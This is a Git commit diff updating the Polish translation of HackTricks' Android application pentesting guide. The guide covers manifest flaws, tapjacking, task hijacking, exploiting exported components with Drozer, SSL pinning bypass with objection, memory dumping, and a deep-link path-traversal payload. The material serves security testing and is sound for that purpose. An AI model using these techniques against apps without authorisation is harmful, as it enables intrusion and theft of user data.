mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
826f08effd
commit
e5c0864c02
@ -334,6 +334,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
||||
|
||||
@ -15,17 +15,18 @@ android-applications-basics.md
|
||||
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
|
||||
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
|
||||
|
||||
Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
|
||||
Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
||||
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
|
||||
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Następnie **zawsze miej na uwadze tę możliwość**.
|
||||
|
||||
## Inne interesujące triki
|
||||
|
||||
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
|
||||
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
|
||||
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Ekstrakcja APK z urządzenia:
|
||||
```bash
|
||||
@ -65,20 +66,20 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
|
||||
|
||||
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
||||
|
||||
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze informacje na temat tego, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
|
||||
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
||||
- **Dostawcy treści i FileProviders**: Odkryte dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
||||
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególnym uwzględnieniem sposobu zarządzania schematami URL w kontekście luk wejściowych.
|
||||
- **Dostawcy treści i FileProviders**: Ujawnione dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
||||
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
|
||||
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
|
||||
|
||||
Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby wchodził z nią w interakcje, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W efekcie, **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
|
||||
Więcej informacji znajdziesz w:
|
||||
|
||||
@ -88,7 +89,7 @@ tapjacking.md
|
||||
|
||||
### Przechwytywanie zadań
|
||||
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie wchodził w interakcje z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
|
||||
Więcej informacji w:
|
||||
|
||||
@ -105,7 +106,7 @@ W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zap
|
||||
1. **Analiza statyczna:**
|
||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||
2. **Analiza dynamiczna:**
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
|
||||
**Przechowywanie zewnętrzne**
|
||||
|
||||
@ -124,7 +125,7 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
|
||||
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
|
||||
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji.
|
||||
|
||||
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
||||
|
||||
@ -154,7 +155,7 @@ Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadza
|
||||
|
||||
### Inne kontrole
|
||||
|
||||
- Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
|
||||
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii odwrotnej.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
|
||||
@ -182,7 +183,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
|
||||
|
||||
### Zautomatyzowana analiza statyczna kodu
|
||||
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, która wskazuje na lukę.
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
||||
|
||||
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
||||
|
||||
@ -201,7 +202,7 @@ bypass-biometric-authentication-android.md
|
||||
- **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Przeczytaj to, aby dowiedzieć się **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
||||
- [Przeczytaj to, aby dowiedzieć się, **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
||||
|
||||
### **Inne sztuczki**
|
||||
|
||||
@ -219,7 +220,7 @@ content-protocol.md
|
||||
|
||||
### Analiza dynamiczna online
|
||||
|
||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak apk się zachowuje.
|
||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak zachowuje się apk.
|
||||
|
||||
Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**.
|
||||
|
||||
@ -231,7 +232,7 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
|
||||
|
||||
#### Używając emulatora
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
|
||||
- Dowiedz się, jak to skonfigurować na tej stronie:
|
||||
|
||||
{{#ref}}
|
||||
@ -252,7 +253,7 @@ Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybra
|
||||
|
||||
#### Użyj fizycznego urządzenia
|
||||
|
||||
Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **zrootować**:
|
||||
Musisz włączyć opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **zrootować**:
|
||||
|
||||
1. **Ustawienia**.
|
||||
2. (Od Androida 8.0) Wybierz **System**.
|
||||
@ -290,7 +291,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś
|
||||
### Bazy danych SQLite
|
||||
|
||||
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
|
||||
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
|
||||
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases` jak `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
|
||||
|
||||
@ -299,7 +300,7 @@ Wylicz tabele używając `.tables` i wylicz kolumny tabel używając `.schema <t
|
||||
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
|
||||
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w kolejnych sekcjach.
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w następnych sekcjach.
|
||||
|
||||
### Eksploatacja eksportowanych aktywności
|
||||
|
||||
@ -335,7 +336,7 @@ Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywno
|
||||
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
||||
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
|
||||
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **SQL injection** i **Path Traversals**, ponieważ mogą być podatne.
|
||||
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia po ścieżkach**, ponieważ mogą być podatne.
|
||||
|
||||
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -362,7 +363,7 @@ Możesz **otworzyć** zadeklarowany **schemat** za pomocą **adb** lub **przegl
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._
|
||||
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie otworzy aplikację, która powinna otworzyć ten link._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -382,7 +383,7 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
|
||||
**Parametry w ścieżce**
|
||||
|
||||
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Więcej przykładów**
|
||||
|
||||
@ -412,17 +413,17 @@ Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**te
|
||||
|
||||
#### Obejście SSL Pinning
|
||||
|
||||
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje wiele metod w tym celu:
|
||||
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
|
||||
|
||||
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
|
||||
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||
- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Szukanie powszechnych podatności w sieci
|
||||
|
||||
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione gdzie indziej.
|
||||
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
|
||||
|
||||
### Frida
|
||||
|
||||
@ -438,7 +439,7 @@ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak
|
||||
|
||||
### **Zrzut pamięci - Fridump**
|
||||
|
||||
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, których nie powinna przechowywać, takie jak hasła lub mnemoniki.
|
||||
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, które nie powinny być przechowywane, takie jak hasła lub mnemoniki.
|
||||
|
||||
Używając [**Fridump3**](https://github.com/rootbsd/fridump3), możesz zrzucić pamięć aplikacji za pomocą:
|
||||
```bash
|
||||
@ -455,7 +456,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Wrażliwe dane w Keystore**
|
||||
|
||||
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać jako użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić jako użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||
|
||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
||||
|
||||
@ -477,7 +478,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
|
||||
|
||||
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -489,7 +490,7 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
|
||||
|
||||
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
|
||||
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
|
||||
### Kluczowe Wnioski
|
||||
|
||||
@ -498,15 +499,15 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
|
||||
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
||||
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
||||
|
||||
### Wstrzyknięcia po stronie klienta Android i inne
|
||||
### Wstrzyknięcia po stronie klienta Androida i inne
|
||||
|
||||
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||
|
||||
- **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Wieczne ciasteczka**: W wielu przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Flaga zabezpieczeń** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -544,7 +545,7 @@ Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne us
|
||||
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
||||
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
||||
|
||||
Aby **rozpocząć** testy dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
@ -558,11 +559,11 @@ Ponadto masz kilka dodatkowych funkcji Frida:
|
||||
